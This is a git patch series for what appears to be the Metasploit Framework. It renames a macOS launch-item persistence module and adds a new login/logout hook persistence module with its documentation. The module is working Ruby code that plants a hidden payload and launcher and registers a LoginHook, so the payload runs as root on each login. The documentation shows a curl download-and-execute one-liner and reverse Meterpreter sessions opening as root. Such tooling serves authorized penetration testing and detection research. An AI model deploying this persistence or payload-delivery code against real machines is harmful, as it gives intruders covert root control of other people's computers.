From 422f77afcb426f3ed2c6001fa9c9fd983e9edd77 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 8 Aug 2026 14:14:20 -0400 Subject: [PATCH 1/3] make launch_plist more descriptive --- modules/exploits/osx/persistence/launch_plist.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/osx/persistence/launch_plist.rb b/modules/exploits/osx/persistence/launch_plist.rb index d1432b9b43e40..310dcb7841d1a 100644 --- a/modules/exploits/osx/persistence/launch_plist.rb +++ b/modules/exploits/osx/persistence/launch_plist.rb @@ -20,7 +20,7 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Mac OS X Persistent Payload Installer', + 'Name' => 'Launch Daemon Persistence', 'Description' => %q{ This module provides a persistent boot payload by creating a launch item, which can be a LaunchAgent or a LaunchDaemon. LaunchAgents run with user level permissions and are triggered @@ -42,11 +42,11 @@ def initialize(info = {}) 'DefaultTarget' => 0, 'SessionTypes' => [ 'shell', 'meterpreter' ], 'DisclosureDate' => '2012-04-01', - 'Platform' => [ 'osx', 'python', 'unix' ], 'References' => [ ['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'], ['URL', 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'], - ['ATT&CK', Mitre::Attack::Technique::T1647_PLIST_FILE_MODIFICATION] + ['ATT&CK', Mitre::Attack::Technique::T1647_PLIST_FILE_MODIFICATION], + ['ATT&CK', Mitre::Attack::Technique::T1543_004_LAUNCH_DAEMON] ], 'Notes' => { 'Stability' => [CRASH_SAFE], From d3da2026234e613c9a8c030b770dd2b7ab438f44 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 8 Aug 2026 14:15:13 -0400 Subject: [PATCH 2/3] make launch_plist more descriptive --- modules/exploits/osx/persistence/launch_plist.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/osx/persistence/launch_plist.rb b/modules/exploits/osx/persistence/launch_plist.rb index 310dcb7841d1a..461a7961dff26 100644 --- a/modules/exploits/osx/persistence/launch_plist.rb +++ b/modules/exploits/osx/persistence/launch_plist.rb @@ -20,7 +20,7 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Launch Daemon Persistence', + 'Name' => 'Launch Daemon and Agent Persistence', 'Description' => %q{ This module provides a persistent boot payload by creating a launch item, which can be a LaunchAgent or a LaunchDaemon. LaunchAgents run with user level permissions and are triggered @@ -46,7 +46,8 @@ def initialize(info = {}) ['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'], ['URL', 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'], ['ATT&CK', Mitre::Attack::Technique::T1647_PLIST_FILE_MODIFICATION], - ['ATT&CK', Mitre::Attack::Technique::T1543_004_LAUNCH_DAEMON] + ['ATT&CK', Mitre::Attack::Technique::T1543_004_LAUNCH_DAEMON], + ['ATT&CK', Mitre::Attack::Technique::T1543_001_LAUNCH_AGENT], ], 'Notes' => { 'Stability' => [CRASH_SAFE], From ea8c322d27a1cb8ac3f9aa516f67b392a9e0ff78 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 9 Aug 2026 13:59:28 -0400 Subject: [PATCH 3/3] login hook osx persistence module --- .../exploit/osx/persistence/login_hook.md | 149 +++++++++++++++ .../exploits/osx/persistence/login_hook.rb | 171 ++++++++++++++++++ 2 files changed, 320 insertions(+) create mode 100644 documentation/modules/exploit/osx/persistence/login_hook.md create mode 100644 modules/exploits/osx/persistence/login_hook.rb diff --git a/documentation/modules/exploit/osx/persistence/login_hook.md b/documentation/modules/exploit/osx/persistence/login_hook.md new file mode 100644 index 0000000000000..f5de36c2525a8 --- /dev/null +++ b/documentation/modules/exploit/osx/persistence/login_hook.md @@ -0,0 +1,149 @@ +## Vulnerable Application + +This module provides a persistent payload by installing a login or logout hook. +Hooks are set via the `com.apple.loginwindow` preferences domain (`LoginHook` and +`LogoutHook` keys), and the loginwindow process executes the hooked binary, as +root, whenever a user logs in or out. + +Although deprecated by Apple, login and logout hooks remain functional on modern +macOS releases, however only macho binaries are executed (scripts are silently +ignored), and loginwindow waits for the hook to exit before completing the +login/logout. The module therefore hooks a small macho launcher which +backgrounds the payload with `nohup` and exits immediately, so the login process +is not blocked and the payload survives loginwindow tearing down the hook's +session. + +Only one `LoginHook` and one `LogoutHook` can exist at a time, so if a hook is +already present it is backed up and restored when the cleanup resource file is +used. + +Root privileges are required to write to the `com.apple.loginwindow` domain. + +Do not stage the payload in a TCC-protected directory (`~/Desktop`, `~/Documents`, +`~/Downloads`): when loginwindow executes the hook, access to those locations +triggers a user consent prompt instead of executing cleanly. Use a location such +as `/var/root` instead (set `WritableDir`). + +## Verification Steps + +1. Start msfconsole +1. Get a root shell on the target +1. Do: `use exploit/osx/persistence/login_hook` +1. Do: `set session ` +1. Do: `set WritableDir /var/root` (or any non-TCC-protected directory) +1. Do: `run` +1. Log out and back in on the target (or set `RUN_NOW true`) +1. You should get a new shell as root. + +## Options + +### HOOK_TYPE + +Type of hook to install. `LoginHook` executes at user login, `LogoutHook` at user +logout. Defaults to `LoginHook`. + +### RUN_NOW + +Run the installed payload immediately. Defaults to `false`. + +## Scenarios + +### macOS 11.7.11 + +Initial Shell + +``` +resource (/home/h00die/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/home/h00die/.msf4/msfconsole.rc)> setg session -1 +session => -1 +resource (/home/h00die/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (/home/h00die/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/home/h00die/.msf4/msfconsole.rc)> set target 8 +target => 8 +resource (/home/h00die/.msf4/msfconsole.rc)> set srvport 8083 +srvport => 8083 +resource (/home/h00die/.msf4/msfconsole.rc)> set uripath o +uripath => o +resource (/home/h00die/.msf4/msfconsole.rc)> set payload payload/osx/x64/meterpreter/reverse_tcp +payload => osx/x64/meterpreter/reverse_tcp +resource (/home/h00die/.msf4/msfconsole.rc)> set lport 4447 +lport => 4447 +resource (/home/h00die/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 1.1.1.1:4447 + +[*] Using URL: http://1.1.1.1:8083/o +[*] Server started. +[*] Run the following command on the target machine: +curl -sk --output focW0d8S http://1.1.1.1:8083/o; chmod +x focW0d8S; ./focW0d8S& disown +msf exploit(multi/script/web_delivery) > [*] Transmitting first stager...(214 bytes) +[*] Transmitting second stager...(29648 bytes) +[*] Sending stage (874608 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4447 -> 2.2.2.2:49223) at 2026-08-09 13:11:13 -0400 + +msf exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : h00dies-MacBook-Pro.local +OS : macOS Big Sur (macOS 11.7.11) +Architecture : x86 +BuildTuple : x86_64-apple-darwin +Meterpreter : x64/osx +meterpreter > background +[*] Backgrounding session 1... +``` + +Persistence + +``` +msf exploit(multi/script/web_delivery) > use exploit/osx/persistence/login_hook +[*] No payload configured, defaulting to osx/x64/meterpreter/reverse_tcp +msf exploit(osx/persistence/login_hook) > set WritableDir /var/root +WritableDir => /var/root +msf exploit(osx/persistence/login_hook) > exploit +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. + +[*] Started reverse TCP handler on 1.1.1.1:4444 +msf exploit(osx/persistence/login_hook) > [*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Session is root, and /var/root is writable +[*] Writing payload to /var/root/.FHfVkpcx... +[+] Payload stored to /var/root/.FHfVkpcx +[+] Launcher stored to /var/root/.HqXpJuMR +[*] defaults write output: +[+] LoginHook installed: /var/root/.HqXpJuMR +[*] Meterpreter-compatible Cleanup RC file: /home/h00die/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20260809.1146/h00dies-MacBook-Pro.local_20260809.1146.rc +``` + +Log out and log back in + +``` +[*] Transmitting first stager...(214 bytes) +[*] Transmitting second stager...(29648 bytes) +[*] Sending stage (874608 bytes) to 2.2.2.2 +[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49237) at 2026-08-09 13:12:52 -0400 + +msf exploit(osx/persistence/login_hook) > sessions -i 2 +[*] Starting interaction with 2... + +meterpreter > getuid +Server username: root +``` + +Cleanup + +``` +meterpreter > run /home/h00die/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20260809.1146/h00dies-MacBook-Pro.local_20260809.1146.rc +[*] Processing /home/h00die/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20260809.1146/h00dies-MacBook-Pro.local_20260809.1146.rc for ERB directives. +resource (/home/h00die/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20260809.1146/h00dies-MacBook-Pro.local_20260809.1146.rc)> rm /var/root/.FHfVkpcx +resource (/home/h00die/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20260809.1146/h00dies-MacBook-Pro.local_20260809.1146.rc)> rm /var/root/.HqXpJuMR +resource (/home/h00die/.msf4/logs/persistence/h00dies-MacBook-Pro.local_20260809.1146/h00dies-MacBook-Pro.local_20260809.1146.rc)> execute -f /usr/bin/defaults -a "delete com.apple.loginwindow LoginHook" +Process 794 created. +``` diff --git a/modules/exploits/osx/persistence/login_hook.rb b/modules/exploits/osx/persistence/login_hook.rb new file mode 100644 index 0000000000000..e50bf409613f6 --- /dev/null +++ b/modules/exploits/osx/persistence/login_hook.rb @@ -0,0 +1,171 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::OSX::Priv + include Msf::Exploit::EXE + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Login/Logout Hook Persistence', + 'Description' => %q{ + This module provides a persistent payload by installing a login or logout hook. + Hooks are set via the com.apple.loginwindow preferences domain (LoginHook and + LogoutHook keys), and the loginwindow process executes the hooked binary, as + root, whenever a user logs in or out. + + Although deprecated by Apple, login and logout hooks remain functional on modern + macOS releases, however only macho binaries are executed (scripts are silently + ignored), and loginwindow waits for the hook to exit before completing the + login/logout. The module therefore hooks a small macho launcher which + backgrounds the payload with nohup and exits immediately, so the login process + is not blocked and the payload survives loginwindow tearing down the hook's + session. + + Only one LoginHook and one LogoutHook can exist at a time, so if a hook is + already present it is backed up and restored when the cleanup resource file + is used. + + Root privileges are required to write to the com.apple.loginwindow domain. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Patrick Wardle', # The Art of Mac Malware, Vol 1 - documentation of the technique + 'h00die' # msf module + ], + 'Targets' => [ + [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ], + [ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ], + [ 'Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }] + ], + 'DefaultTarget' => 0, + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'DisclosureDate' => '2022-10-27', # https://www.sentinelone.com/blog/how-malware-persists-on-macos/ updated date + 'Privileged' => true, + 'References' => [ + ['URL', 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/'], + ['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'], # page 34 + ['ATT&CK', Mitre::Attack::Technique::T1037_002_LOGIN_HOOK] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } + ) + ) + + register_options([ + OptEnum.new('HOOK_TYPE', [true, 'Type of hook to install.', 'LoginHook', ['LoginHook', 'LogoutHook']]), + OptBool.new('RUN_NOW', [false, 'Run the installed payload immediately.', false]) + ]) + end + + def check + return CheckCode::Safe('Session is not running as root, unable to write to the com.apple.loginwindow domain') unless is_root? + return CheckCode::Safe("#{writable_dir} not writable") unless writable?(writable_dir) + + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') + + # Desktop/Documents/Downloads are TCC-protected: when loginwindow executes the + # hook, access to files there triggers a user consent prompt (or is silently + # blocked at the login window), preventing unattended payload execution. + if writable_dir =~ %r{^/Users/[^/]+/(Desktop|Documents|Downloads)(/|$)} + print_warning("#{writable_dir} is a TCC-protected location, the hook will trigger a user consent prompt instead of executing cleanly. Choose somewhere else, such as /usr/local/bin or /var/root.") + end + + CheckCode::Appears("Session is root, and #{writable_dir} is writable") + end + + def install_persistence + backup_existing_hook + + payload_bin = generate_payload_exe + + write_payload(payload_bin) + write_launcher + install_hook + + return unless datastore['RUN_NOW'] + + print_status('Running payload now') + cmd_exec(launcher_path) + end + + def backup_existing_hook + # when the key is unset, defaults prints an error to stderr which meterpreter + # merges into stdout, so only an absolute path is a valid existing hook + hook = cmd_exec("/usr/bin/defaults read com.apple.loginwindow #{datastore['HOOK_TYPE']}").strip + return unless hook.start_with?('/') + + @existing_hook = hook + print_warning("Existing #{datastore['HOOK_TYPE']} found: #{@existing_hook}. It will be overwritten, and restored on cleanup.") + @clean_up_rc << "execute -f /usr/bin/defaults -a \"write com.apple.loginwindow #{datastore['HOOK_TYPE']} #{@existing_hook}\"\n" + end + + def install_hook + output = create_process('/usr/bin/defaults', args: ['write', 'com.apple.loginwindow', datastore['HOOK_TYPE'], launcher_path]) + vprint_status("defaults write output: #{output}") + + hook = cmd_exec("/usr/bin/defaults read com.apple.loginwindow #{datastore['HOOK_TYPE']}").strip + if hook == launcher_path + print_good("#{datastore['HOOK_TYPE']} installed: #{hook}") + # if a hook was backed up, the restore command is already in the cleanup file + @clean_up_rc << "execute -f /usr/bin/defaults -a \"delete com.apple.loginwindow #{datastore['HOOK_TYPE']}\"\n" if @existing_hook.nil? + else + fail_with(Failure::UnexpectedReply, "Error installing #{datastore['HOOK_TYPE']}: expected '#{launcher_path}' but read back '#{hook}'") + end + end + + def payload_path + @payload_path ||= File.join(writable_dir, ".#{Rex::Text.rand_text_alpha(8)}") + end + + def launcher_path + @launcher_path ||= File.join(writable_dir, ".#{Rex::Text.rand_text_alpha(8)}") + end + + def write_payload(exe) + print_status("Writing payload to #{payload_path}...") + mkdir(File.dirname(payload_path), cleanup: false) unless directory?(File.dirname(payload_path)) + + if write_file(payload_path, exe) + print_good("Payload stored to #{payload_path}") + chmod(payload_path, 0o755) + @clean_up_rc << "rm #{payload_path}\n" + else + fail_with(Failure::UnexpectedReply, "Error writing payload to #{payload_path}") + end + end + + # loginwindow only executes macho binaries for login/logout hooks (scripts are + # silently ignored), and waits for the hook to exit before completing the + # login/logout. The hook therefore points at a small macho launcher (built from + # the osx/x64/exec payload) which backgrounds the real payload with nohup and + # exits immediately: the login process is not blocked, and the orphaned payload + # is reparented to launchd so it survives loginwindow tearing down the hook's + # session. + def write_launcher + launcher = framework.payloads.create('osx/x64/exec') + launcher.datastore['CMD'] = "/bin/sh -c 'nohup #{payload_path} >/dev/null 2>&1 &'" + exe = Msf::Util::EXE.to_osx_x64_macho(framework, Msf::EncodedPayload.create(launcher).encoded) + + if write_file(launcher_path, exe) + print_good("Launcher stored to #{launcher_path}") + chmod(launcher_path, 0o755) + @clean_up_rc << "rm #{launcher_path}\n" + else + fail_with(Failure::UnexpectedReply, "Error writing launcher to #{launcher_path}") + end + end +end